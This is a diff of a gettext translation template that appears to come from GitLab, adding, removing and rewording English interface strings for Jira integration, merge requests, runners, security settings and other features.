-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -20057,18 +20412,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -20078,6 +20427,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -20087,12 +20439,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -20123,9 +20469,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -20423,6 +20766,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20770,7 +21116,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20875,6 +21221,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20920,6 +21269,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -21076,9 +21428,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -21106,13 +21455,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -21130,6 +21479,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -21348,7 +21700,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -21429,7 +21781,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21642,6 +21994,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21660,6 +22015,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21867,9 +22225,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -22032,6 +22387,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -22047,6 +22408,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -22092,22 +22456,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -22227,6 +22582,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22870,6 +23237,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -23124,9 +23494,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -23277,9 +23644,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -23304,6 +23668,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23510,6 +23877,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23546,6 +23916,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23741,6 +24114,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23789,9 +24165,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23834,6 +24216,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23855,6 +24240,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23953,6 +24341,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -24180,7 +24571,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -24336,7 +24727,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -24420,6 +24811,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -24510,19 +24907,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24545,6 +24942,12 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24584,6 +24987,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24605,6 +25011,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24623,7 +25032,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24863,6 +25272,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -25222,6 +25634,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -25318,9 +25733,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25573,6 +25985,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25888,9 +26306,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -26020,6 +26435,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -26035,9 +26453,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -26128,10 +26543,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -26272,6 +26687,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -26299,9 +26717,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26542,7 +26957,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26824,7 +27239,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26845,13 +27260,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26893,13 +27308,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -27229,9 +27647,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -27310,6 +27725,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27577,12 +27995,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27652,6 +28076,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27676,6 +28103,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27697,6 +28127,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27901,6 +28337,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -28108,6 +28547,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -28126,9 +28568,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -28489,6 +28937,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28651,6 +29102,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28765,6 +29219,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28869,9 +29329,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -29042,6 +29499,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -29069,6 +29529,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -29078,6 +29541,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -29195,15 +29664,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -29219,6 +29688,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -29288,6 +29760,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -29312,6 +29787,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -29503,6 +29981,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -29524,6 +30005,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -29542,6 +30026,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29620,7 +30107,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29635,6 +30122,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29656,6 +30149,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29695,6 +30191,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29768,6 +30267,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -30090,6 +30592,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -30144,6 +30649,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -30156,6 +30664,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -30177,6 +30688,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -30189,12 +30703,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -30228,6 +30748,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -30237,6 +30760,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -30267,12 +30793,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -30330,19 +30862,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -30423,21 +30961,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30847,6 +31370,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30871,6 +31397,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30919,7 +31448,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30934,7 +31463,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30946,7 +31475,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -31006,6 +31535,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -31015,6 +31547,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -31039,6 +31574,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -31108,7 +31649,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
